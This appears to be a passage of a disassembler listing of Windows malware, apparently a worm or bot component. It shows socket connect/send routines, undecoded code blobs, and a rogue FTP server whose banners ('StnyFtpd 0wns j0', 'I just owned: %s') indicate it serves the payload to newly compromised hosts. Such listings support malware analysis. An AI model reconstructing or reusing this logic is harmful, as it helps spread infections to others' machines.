		call	ds:dword_427218	; closesocket
		push	1
		pop	eax


loc_40EB8B:				; CODE XREF: sub_40EAA2+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40EAA2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EB90	proc near		; CODE XREF: sub_40C034+1E6p
					; DATA XREF: seg002:off_43804Co

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		mov	[ebp+var_10], 2
		call	ds:dword_4D1230
		push	[ebp+arg_A0]
		mov	[ebp+var_C], eax
		call	ds:dword_4D11F0
		push	6
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	ds:dword_42721C	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40EC02
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	ds:dword_42720C	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40EBE3
		push	esi
		jmp	short loc_40EBFC
; ---------------------------------------------------------------------------


loc_40EBE3:				; CODE XREF: sub_40EB90+4Ej
		push	0
		push	1213h
		push	offset dword_43A5E4
		push	esi
		call	ds:dword_427220	; send
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_40EC06


loc_40EBFC:				; CODE XREF: sub_40EB90+51j
		call	ds:dword_427218	; closesocket


loc_40EC02:				; CODE XREF: sub_40EB90+3Cj
		xor	eax, eax
		jmp	short loc_40EC48
; ---------------------------------------------------------------------------


loc_40EC06:				; CODE XREF: sub_40EB90+6Aj
		call	ds:dword_427218	; closesocket
		push	216Bh
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40EAA2
		add	esp, 0C0h
		test	eax, eax
		jz	short loc_40EC45
		mov	eax, [ebp+arg_A8]
		shl	eax, 6
		inc	ds:dword_438050[eax]
		lea	eax, dword_438050[eax]


loc_40EC45:				; CODE XREF: sub_40EB90+9Ej
		push	1
		pop	eax


loc_40EC48:				; CODE XREF: sub_40EB90+74j
		pop	edi
		pop	esi
		leave
		retn
sub_40EB90	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h


loc_40EC55:				; CODE XREF: seg000:0040EC71j
					; seg000:0040EC8Dj
		push	0
		lea	eax, [ebp-404h]
		push	400h
		push	eax
		push	ds:dword_4D3F34
		call	ds:dword_4D1208
		test	eax, eax
		jle	short loc_40EC55
		lea	ecx, [ebp-4]
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp-404h]
		push	eax
		push	ds:dword_4D3F30
		call	near ptr 0B00000h
		inc	esi
		jmp	short loc_40EC55
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h


loc_40EC98:				; CODE XREF: seg000:0040ECBEj
					; seg000:0040ECD8j
		lea	eax, [ebp-4]
		and	dword ptr [ebp-4], 0
		push	0
		push	eax
		lea	eax, [ebp-404h]
		push	400h
		push	eax
		push	ds:dword_4D3F24
		call	ds:dword_4270E8	; ReadFile
		cmp	dword ptr [ebp-4], 0
		jle	short loc_40EC98
		push	0
		lea	eax, [ebp-404h]
		push	dword ptr [ebp-4]
		push	eax
		push	ds:dword_4D3F34
		call	ds:dword_4D1240
		jmp	short loc_40EC98
; ---------------------------------------------------------------------------
word_40ECDA	dw 8B55h		; DATA XREF: seg000:00404804o
dword_40ECDC	dd 1CEC81ECh, 8B000001h, 56530845h, 8B286A57h, 0BD8D59F0h
		dd 0FFFFFEE4h, 16AA5F3h, 895EFF33h, 98B0h, 8D106A00h, 5057C845h
		dd 0CF33E8h, 0CC48300h,	0C845C766h, 0B5FF0002h,	0FFFFFF68h
		dd 11F015FFh, 66A004Dh,	66026A56h, 0FFCA4589h, 4D127015h
		dd 8458900h, 6AC8458Dh,	75FF5010h, 1C15FF08h, 6A004D12h
		dd 875FF05h, 121815FFh,	1D8B004Dh, 427100h, 706C358Bh
		dd 57570042h, 0FF0875FFh, 4D128415h, 3F34A300h,	458D004Dh
		dd 685057F4h, 4D3F30h, 4D3F2C68h, 0F445C700h, 0Ch, 1FC45C7h
		dd 89000000h, 0D3FFF87Dh, 57F4458Dh, 3F286850h,	2468004Dh
		dd 0FF004D3Fh, 8D446AD3h, 50578445h, 0CE97E8h, 3F2CA100h
		dd 0C483004Dh, 0BC45890Ch, 4D3F28A1h, 0C0458900h, 8D016A57h
		dd 26AC445h, 8445C750h,	44h, 1B045C7h, 66000001h, 0E8B47D89h
		dd 6F1224h, 35FF5015h, 4D3F28h,	6F1217E8h, 0E8505C00h
		dd 6F1210h, 0D8458DE0h,	84458D50h, 68575750h, 4000090h
		dd 6AF4458Dh, 458D5001h, 6C6850F4h, 570043B8h, 6F11EBE8h
		dd 458DF500h, 575750E8h, 40EC8F68h, 0F4458D00h,	15FF5057h
		dd 42707Ch, 8DEC4589h, 5750E845h, 0EC4C6857h, 458D0040h
		dd 0FF5057F4h, 42707C15h, 89FF6A00h, 75FFF045h,	11AEE8D8h
		dd 5783006Fh, 0E8F075FFh, 6F11A4h, 75FF5798h, 119AE8ECh
		dd 0FFA9006Fh, 0D6FFF075h, 0FFEC75FFh, 75FF57D6h, 1186E8D8h
		dd 0FFD4006Fh, 4D3F2C35h, 0FFD6FF00h, 4D3F3035h, 0FFD6FF00h
		dd 4D3F2435h, 0FFD6FF00h, 4D3F2835h, 0FFD6FF00h, 0D6FFDC75h
		dd 0FFD875FFh, 0FEB0E9D6h, 0E9FFFFh, 68000000h,	0FFFEh
		dd 40068h, 0A05FE800h, 0A3590000h, 4D3F3Ch
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
word_40EEC6	dw 8B55h		; DATA XREF: sub_40B9DD+34Do
		dd 0C0EC81ECh, 8B000006h, 56530845h, 8B276A57h,	0BD8D59F0h
		dd 0FFFFFF50h, 16AA5F3h, 895EDB33h, 98B0h, 8D106A00h, 5053EC45h
		dd 0CD47E8h, 0CC48300h,	0EC45C766h, 0B5FF0002h,	0FFFFFF5Ch
		dd 11F015FFh, 5653004Dh, 8966026Ah, 5D89EE45h, 7015FFF0h
		dd 8B004D12h, 0FFCE83F8h, 4575FE3Bh, 75E45D39h,	858D5320h
		dd 0FFFFFD40h, 50E075FFh, 0FF60858Dh, 0FF50FFFFh, 0FFFF50B5h
		dd 0AA88E8FFh, 0C483FFFFh, 40858D14h, 50FFFFFDh, 684DE8h
		dd 54B5FF00h, 0E8FFFFFFh, 0FFFFC3C6h, 0E8535959h, 6F1094h
		dd 54858BADh, 6AFFFFFFh, 34C06910h, 89000002h, 44412CB8h
		dd 0EC458D00h, 15FF5750h, 4D121Ch, 0BBC63Bh, 0F000004h
		dd 0CF85h, 8415FF00h, 3D004D11h, 2740h,	0F6334774h, 75E47539h
		dd 858D5620h, 0FFFFFD40h, 50E075FFh, 0FF60858Dh, 0FF50FFFFh
		dd 0FFFF50B5h, 0AA08E8FFh, 0C483FFFFh, 40858D14h, 50FFFFFDh
		dd 67CDE8h, 54B5FF00h, 0E8FFFFFFh, 0FFFFC346h, 0E8565959h
		dd 6F1014h, 0FFFE6863h,	0E8530000h, 9F25h, 3F3CA359h, 6659004Dh
		dd 8DEE4589h, 106AEC45h, 15FF5750h, 4D121Ch, 5475C63Bh
		dd 118415FFh, 0F633004Dh, 75E47539h, 27403D27h,	20740000h
		dd 40858D56h, 0FFFFFFFDh, 8D50E075h, 0FFFF6085h, 0B5FF50FFh
		dd 0FFFFFF50h, 0FFA98DE8h, 14C483FFh, 0FD40858Dh, 0E850FFFFh
		dd 6752h, 0FF54B5FFh, 0CBE8FFFFh, 59FFFFC2h, 99E85659h
		dd 0B6006F0Fh, 0FF57056Ah, 4D121815h, 0FC63B00h, 0D484h
		dd 0FC45C700h, 10h, 429100BEh, 0FC458D00h, 40858D50h, 50FFFFFFh
		dd 8415FF57h, 83004D12h, 4589FFF8h, 83E67408h, 7500E47Dh
		dd 8D006A21h, 0FFFD4085h, 0E075FFFFh, 60858D50h, 50FFFFFFh
		dd 0FF50B5FFh, 0FE8FFFFh, 83FFFFA9h, 858D14C4h,	0FFFFFD40h
		dd 66D4E850h, 8D590000h, 0FFFD4085h, 68006AFFh,	200h, 875FF50h
		dd 120815FFh, 0F883004Dh, 569674FFh, 2035FF56h,	0FF004D0Fh
		dd 0FFFF50B5h, 0BA68E8FFh, 5059FFFFh, 43B87468h, 40858D00h
		dd 53FFFFF9h, 0CF1AE850h, 0C4830000h, 40858D1Ch, 6AFFFFF9h
		dd 69E85000h, 590000C7h, 40858D50h, 50FFFFF9h, 0FF0875FFh
		dd 4D124015h, 0FFF88300h, 0FF43840Fh, 5FFFFFFh,	4D3F44h
		dd 0FFFF38E9h, 15FF57FFh, 4D1288h, 0FF54B5FFh, 0CBE8FFFFh
		dd 59FFFFC1h, 99E8006Ah, 0B7006F0Eh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F168	proc near		; DATA XREF: sub_40B9DD+22Ao

var_A70		= byte ptr -0A70h
var_8E0		= byte ptr -8E0h
var_6E0		= dword	ptr -6E0h
var_4C8		= byte ptr -4C8h
var_448		= dword	ptr -448h
var_444		= dword	ptr -444h
var_43C		= dword	ptr -43Ch
var_338		= byte ptr -338h
var_2D4		= byte ptr -2D4h
var_2A0		= byte ptr -2A0h
var_23C		= byte ptr -23Ch
var_22C		= dword	ptr -22Ch
var_228		= dword	ptr -228h
var_128		= byte ptr -128h
var_FC		= byte ptr -0FCh
var_C8		= byte ptr -0C8h
var_B0		= byte ptr -0B0h
var_4C		= byte ptr -4Ch
var_3C		= word ptr -3Ch
var_3A		= word ptr -3Ah
var_38		= dword	ptr -38h
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A70h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	1
		mov	ecx, 0A9h
		mov	esi, eax
		lea	edi, [ebp+var_6E0]
		pop	ebx
		rep movsd
		mov	[eax+2A0h], ebx
		lea	eax, [ebp+var_A70]
		xor	esi, esi
		push	eax
		push	101h
		mov	[ebp+var_28], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_18], ebx
		mov	[ebp+var_22C], esi
		mov	[ebp+var_43C], esi
		call	ds:dword_4271F0	; WSAStartup
		push	esi
		push	ebx
		push	2
		call	ds:dword_42721C	; socket
		mov	esi, ds:dword_427210
		lea	ecx, [ebp+var_28]
		push	4
		push	ecx
		mov	edi, 0FFFFh
		push	4
		push	edi
		push	eax
		mov	[ebp+var_8], eax
		call	esi ; dword_427210
		lea	eax, [ebp+var_20]
		push	4
		push	eax
		push	0FFFFFFFBh
		push	edi
		mov	edi, [ebp+var_8]
		push	edi
		call	esi ; dword_427210
		lea	eax, [ebp+var_18]
		push	eax
		push	8004667Eh
		push	edi
		call	ds:dword_4271F4	; ioctlsocket
		mov	ax, word ptr ds:dword_4D0F20
		and	[ebp+var_38], 0
		push	eax
		mov	[ebp+var_3C], 2
		call	ds:dword_4D11F0
		mov	[ebp+var_3A], ax
		lea	eax, [ebp+var_3C]
		push	10h
		push	eax
		push	edi
		call	ds:dword_4271F8	; bind
		test	eax, eax
		jge	short loc_40F22E
		mov	eax, ebx
		jmp	loc_40F773
; ---------------------------------------------------------------------------


loc_40F22E:				; CODE XREF: sub_40F168+BDj
		push	0Ah
		push	edi
		call	ds:dword_4271FC	; listen
		mov	[ebp+var_22C], ebx
		mov	ebx, ds:dword_427220
		mov	[ebp+var_228], edi
		mov	[ebp+var_4], edi


loc_40F24C:				; CODE XREF: sub_40F168+11Dj
					; sub_40F168+603j
		push	41h
		lea	esi, [ebp+var_22C]
		pop	ecx
		lea	edi, [ebp+var_43C]
		rep movsd
		xor	esi, esi
		lea	eax, [ebp+var_43C]
		push	esi
		push	esi
		push	esi
		push	eax
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	ds:dword_427224	; select
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F770
		xor	edi, edi
		cmp	[ebp+var_4], esi
		mov	[ebp+arg_0], edi
		jl	short loc_40F24C


loc_40F287:				; CODE XREF: sub_40F168+5FDj
		xor	esi, esi
		push	64h
		lea	eax, [ebp+var_2A0]
		push	esi
		push	eax
		call	sub_41BC40
		push	64h
		lea	eax, [ebp+var_B0]
		push	esi
		push	eax
		call	sub_41BC40
		add	esp, 18h
		lea	eax, [ebp+var_43C]
		push	eax
		push	edi
		call	sub_4265E8	; __WSAFDIsSet
		test	eax, eax
		jz	loc_40F75E
		cmp	edi, [ebp+var_8]
		jnz	short loc_40F33E
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		push	[ebp+var_8]
		call	ds:dword_427200	; accept
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F75E
		xor	ecx, ecx
		cmp	[ebp+var_22C], esi
		jbe	short loc_40F308
		lea	edx, [ebp+var_228]


loc_40F2F8:				; CODE XREF: sub_40F168+19Ej
		cmp	[edx], eax
		jz	short loc_40F308
		inc	ecx
		add	edx, 4
		cmp	ecx, [ebp+var_22C]
		jb	short loc_40F2F8


loc_40F308:				; CODE XREF: sub_40F168+188j
					; sub_40F168+192j
		cmp	ecx, [ebp+var_22C]
		jnz	short loc_40F326
		cmp	[ebp+var_22C], 40h
		jnb	short loc_40F326
		mov	[ebp+ecx*4+var_228], eax
		inc	[ebp+var_22C]


loc_40F326:				; CODE XREF: sub_40F168+1A6j
					; sub_40F168+1AFj
		cmp	eax, [ebp+var_4]
		jle	short loc_40F32E
		mov	[ebp+var_4], eax


loc_40F32E:				; CODE XREF: sub_40F168+1C1j
		push	esi
		push	15h
		push	offset a220Stnyftpd0wn ; "220 StnyFtpd 0wns j0\n"
		push	eax
		call	ebx ; dword_427220
		jmp	loc_40F75E
; ---------------------------------------------------------------------------


loc_40F33E:				; CODE XREF: sub_40F168+15Aj
		push	esi
		lea	eax, [ebp+var_2A0]
		push	64h
		push	eax
		push	edi
		call	ds:dword_427214	; recv
		test	eax, eax
		jg	short loc_40F3A5
		mov	edx, [ebp+var_22C]
		xor	ecx, ecx
		cmp	edx, esi
		jbe	short loc_40F399
		lea	eax, [ebp+var_228]


loc_40F365:				; CODE XREF: sub_40F168+207j
		cmp	[eax], edi
		jz	short loc_40F373
		inc	ecx
		add	eax, 4
		cmp	ecx, edx
		jb	short loc_40F365
		jmp	short loc_40F399
; ---------------------------------------------------------------------------


loc_40F373:				; CODE XREF: sub_40F168+1FFj
		dec	edx
		cmp	ecx, edx
		jnb	short loc_40F393
		lea	eax, [ebp+ecx*4+var_228]


loc_40F37F:				; CODE XREF: sub_40F168+229j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	edx, [ebp+var_22C]
		add	eax, 4
		dec	edx
		cmp	ecx, edx
		jb	short loc_40F37F


loc_40F393:				; CODE XREF: sub_40F168+20Ej
		dec	[ebp+var_22C]


loc_40F399:				; CODE XREF: sub_40F168+1F5j
					; sub_40F168+209j
		push	edi
		call	ds:dword_427218	; closesocket
		jmp	loc_40F75E
; ---------------------------------------------------------------------------


loc_40F3A5:				; CODE XREF: sub_40F168+1E9j
		lea	eax, [ebp+var_338]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_2A0]
		push	offset aSS_0	; "%s %s"
		push	eax
		call	sub_41CCE5
		lea	eax, [ebp+var_B0]
		push	offset aUser_0	; "USER"
		push	eax
		call	sub_41C710
		add	esp, 18h
		test	eax, eax
		jnz	short loc_40F3E9
		push	esi
		push	16h
		push	offset a331PasswordReq ; "331 Password required\n"
		jmp	loc_40F46B
; ---------------------------------------------------------------------------


loc_40F3E9:				; CODE XREF: sub_40F168+272j
		lea	eax, [ebp+var_B0]
		push	offset aPass	; "PASS"
		push	eax
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F40A
		push	esi
		push	14h
		push	offset a230UserLoggedI ; "230 User logged in.\n"
		jmp	short loc_40F46B
; ---------------------------------------------------------------------------


loc_40F40A:				; CODE XREF: sub_40F168+296j
		lea	eax, [ebp+var_B0]
		push	offset aSyst	; "SYST"
		push	eax
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F42B
		push	esi
		push	0Dh
		push	offset a215Stnyftpd ; "215 StnyFtpd\n"
		jmp	short loc_40F46B
; ---------------------------------------------------------------------------


loc_40F42B:				; CODE XREF: sub_40F168+2B7j
		lea	eax, [ebp+var_B0]
		push	offset aRest	; "REST"
		push	eax
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F44C
		push	esi
		push	10h
		push	offset a350Restarting_ ; "350 Restarting.\n"
		jmp	short loc_40F46B
; ---------------------------------------------------------------------------


loc_40F44C:				; CODE XREF: sub_40F168+2D8j
		lea	eax, [ebp+var_B0]
		push	offset off_43BA98
		push	eax
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F471
		push	esi
		push	1Eh
		push	offset a257IsCurrentDi ; "257 \"/\" is current directory.\n"


loc_40F46B:				; CODE XREF: sub_40F168+27Cj
					; sub_40F168+2A0j ...
		push	edi
		jmp	loc_40F747
; ---------------------------------------------------------------------------


loc_40F471:				; CODE XREF: sub_40F168+2F9j
		mov	edi, offset aType ; "TYPE"
		lea	eax, [ebp+var_B0]
		push	edi
		push	eax
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F4AD
		lea	eax, [ebp+var_338]
		push	offset aA	; "A"
		push	eax
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F4AD
		push	esi
		push	13h
		push	offset a200TypeSetToA_ ; "200 Type set to A.\n"
		jmp	loc_40F744
; ---------------------------------------------------------------------------


loc_40F4AD:				; CODE XREF: sub_40F168+31Fj
					; sub_40F168+336j
		lea	eax, [ebp+var_B0]
		push	edi
		push	eax
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F4E4
		lea	eax, [ebp+var_338]
		push	offset aI	; "I"
		push	eax
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F4E4
		push	esi
		push	13h
		push	offset a200TypeSetToI_ ; "200 Type set to I.\n"
		jmp	loc_40F744
; ---------------------------------------------------------------------------


loc_40F4E4:				; CODE XREF: sub_40F168+356j
					; sub_40F168+36Dj
		lea	eax, [ebp+var_B0]
		push	offset aPasv	; "PASV"
		push	eax
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F52F
		push	0Ah
		mov	esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"...
		pop	ecx
		lea	edi, [ebp+var_128]
		rep movsd
		push	eax
		lea	eax, [ebp+var_128]
		push	eax
		movsw
		call	sub_41B890
		pop	ecx
		push	eax
		lea	eax, [ebp+var_128]


loc_40F522:				; CODE XREF: sub_40F168+406j
		push	eax
		push	[ebp+arg_0]
		call	ebx ; dword_427220
		xor	esi, esi
		jmp	loc_40F749
; ---------------------------------------------------------------------------


loc_40F52F:				; CODE XREF: sub_40F168+391j
		lea	eax, [ebp+var_B0]
		push	offset aList_0	; "LIST"
		push	eax
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F570
		push	5
		mov	esi, offset a226TransferCom ; "226 Transfer complete\n"
		pop	ecx
		lea	edi, [ebp+var_C8]
		rep movsd
		movsw
		push	eax
		lea	eax, [ebp+var_C8]
		push	eax
		movsb
		call	sub_41B890
		pop	ecx
		push	eax
		lea	eax, [ebp+var_C8]
		jmp	short loc_40F522
; ---------------------------------------------------------------------------


loc_40F570:				; CODE XREF: sub_40F168+3DCj
		lea	eax, [ebp+var_B0]
		push	offset aPort	; "PORT"
		push	eax
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F63E
		lea	eax, [ebp+var_2D4]
		push	eax
		lea	eax, [ebp+var_FC]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2A0]
		push	offset aS	; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
		push	eax
		call	sub_41CCE5
		lea	eax, [ebp+var_FC]
		push	eax
		call	sub_41BE29
		mov	edi, eax
		lea	eax, [ebp+var_2D4]
		push	eax
		call	sub_41BE29
		mov	[ebp+var_C], eax
		push	32h
		lea	eax, [ebp+var_FC]
		push	esi
		push	eax
		call	sub_41BC40
		push	[ebp+var_C]
		lea	eax, [ebp+var_FC]
		push	edi
		push	offset aXX	; "%x%x\n"
		push	eax
		call	sub_41BF36
		add	esp, 44h
		lea	eax, [ebp+var_FC]
		push	10h
		push	esi
		push	eax
		call	sub_41C45E
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_4C]
		push	offset aS_S_S_S	; "%s.%s.%s.%s"
		push	eax
		call	sub_41BF36
		add	esp, 24h
		push	esi
		push	1Dh
		push	offset a200PortCommand ; "200 PORT command successful.\n"
		jmp	loc_40F744
; ---------------------------------------------------------------------------


loc_40F63E:				; CODE XREF: sub_40F168+41Dj
		lea	eax, [ebp+var_B0]
		push	offset aRetr	; "RETR"
		push	eax
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F725
		push	esi
		push	28h
		push	offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
		push	[ebp+arg_0]
		call	ebx ; dword_427220
		push	[ebp+var_C]
		lea	eax, [ebp+var_4C]
		push	eax
		call	sub_40F77A
		pop	ecx
		cmp	eax, 1
		pop	ecx
		jnz	loc_40F71B
		cmp	[ebp+var_444], esi
		jnz	short loc_40F6A8
		push	esi
		lea	eax, [ebp+var_8E0]
		push	[ebp+var_448]
		push	eax
		lea	eax, [ebp+var_4C8]
		push	eax
		push	[ebp+var_6E0]
		call	sub_4099D2
		add	esp, 14h


loc_40F6A8:				; CODE XREF: sub_40F168+51Bj
		call	loc_40F7F7
		cmp	eax, 1
		jnz	loc_40F749
		push	esi
		push	17h
		push	offset a226TransferC_0 ; "226 Transfer complete.\n"
		push	[ebp+arg_0]
		call	ebx ; dword_427220
		lea	eax, [ebp+var_4C]
		push	eax
		lea	eax, [ebp+var_8E0]
		push	offset aFtpIJustOwnedS ; "[FTP]: I just	owned: %s"
		push	eax
		call	sub_41BF36
		add	esp, 0Ch
		cmp	[ebp+var_444], esi
		jnz	short loc_40F706
		push	esi
		lea	eax, [ebp+var_8E0]
		push	[ebp+var_448]
		push	eax
		lea	eax, [ebp+var_4C8]
		push	eax
		push	[ebp+var_6E0]
		call	sub_4099D2
		add	esp, 14h


loc_40F706:				; CODE XREF: sub_40F168+579j
		lea	eax, [ebp+var_8E0]
		push	eax
		call	sub_4157A6
		inc	ds:dword_4D3D00
		pop	ecx
		jmp	short loc_40F749
; ---------------------------------------------------------------------------


loc_40F71B:				; CODE XREF: sub_40F168+50Fj
		push	esi
		push	20h
		push	offset a425CanTOpenDat ; "425 Can't open data connection.\n"
		jmp	short loc_40F744
; ---------------------------------------------------------------------------


loc_40F725:				; CODE XREF: sub_40F168+4EBj
		lea	eax, [ebp+var_B0]
		push	offset aQuit	; "QUIT"
		push	eax
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F749
		push	esi
		push	1Bh
		push	offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n"


loc_40F744:				; CODE XREF: sub_40F168+340j
					; sub_40F168+377j ...
		push	[ebp+arg_0]


loc_40F747:				; CODE XREF: sub_40F168+304j
		call	ebx ; dword_427220


loc_40F749:				; CODE XREF: sub_40F168+3C2j
					; sub_40F168+548j ...
		push	64h
		lea	eax, [ebp+var_2A0]
		push	esi
		push	eax
		call	sub_41BC40
		mov	edi, [ebp+arg_0]
		add	esp, 0Ch


loc_40F75E:				; CODE XREF: sub_40F168+151j
					; sub_40F168+17Aj ...
		inc	edi
		cmp	edi, [ebp+var_4]
		mov	[ebp+arg_0], edi
		jle	loc_40F287
		jmp	loc_40F24C
; ---------------------------------------------------------------------------


loc_40F770:				; CODE XREF: sub_40F168+10Fj
		push	1
		pop	eax


loc_40F773:				; CODE XREF: sub_40F168+C1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_40F168	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F77A	proc near		; CODE XREF: sub_40F168+505p

var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp+var_1A0]
		push	eax
		push	101h
		call	ds:dword_4271F0	; WSAStartup
		push	0
		push	1
		push	2
		call	ds:dword_42721C	; socket
		push	[ebp+arg_0]
		mov	ds:dword_4D3F48, eax
		mov	[ebp+var_10], 2
		call	ds:dword_427230	; inet_addr
		push	[ebp+arg_4]
		mov	[ebp+var_C], eax
		call	ds:dword_427208	; ntohs
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ds:dword_4D3F48
		call	ds:dword_42720C	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40F7F2
		push	ds:dword_4D3F48
		call	ds:dword_427218	; closesocket
		call	ds:dword_4271EC	; WSACleanup
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_40F7F2:				; CODE XREF: sub_40F77A+60j
		push	1
		pop	eax
		leave
		retn
sub_40F77A	endp

; ---------------------------------------------------------------------------


loc_40F7F7:				; CODE XREF: sub_40F168:loc_40F6A8p
		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		lea	eax, [ebp-104h]
		push	104h
		push	eax
		push	0
		call	near ptr 0B00000h
; ---------------------------------------------------------------------------
		dd 0FC858DD9h, 68FFFFFEh, 429070h, 0C392E850h, 0F08B0000h
		dd 59F68559h, 46F66074h, 3E75100Ch, 400BF57h, 6A560000h
		dd 0FC858D01h, 57FFFFFAh, 0C146E850h, 0C4830000h, 0FC858D10h
		dd 6AFFFFFAh, 0FF505700h, 4D3F4835h, 2015FF00h,	6A004272h
		dd 6415FF01h, 0F6004270h, 74100C46h, 0E8565FC9h, 0C093h
		dd 4835FF59h, 0FF004D3Fh, 42721815h, 0EC15FF00h, 6A004271h
		dd 0C95E5801h
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F891	proc near		; DATA XREF: seg000:00403D4Eo
					; sub_40B9DD+475o

var_28F0	= byte ptr -28F0h
var_18F0	= byte ptr -18F0h
var_8F0		= byte ptr -8F0h
var_6F0		= byte ptr -6F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_360		= byte ptr -360h
var_25C		= dword	ptr -25Ch
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_23C		= byte ptr -23Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_34		= byte ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 28F0h
		call	sub_41C1D0
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_5EC]
		push	1
		rep movsd
		pop	esi
		xor	ebx, ebx
		mov	[eax+3ACh], esi
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		mov	[ebp+var_14], esi
		call	sub_41BC40
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+var_25C]
		call	ds:dword_4D11F0
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_22], ax
		mov	[ebp+var_20], ebx
		call	ds:dword_4D1270
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_C], edi
		jz	loc_40FC7C
		mov	eax, [ebp+var_254]
		push	10h
		imul	eax, 234h
		mov	ds:dword_44412C[eax], edi
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	ds:dword_4D121C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FC7C
		push	7FFFFFFFh
		push	edi
		call	ds:dword_4D1218
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FC7C
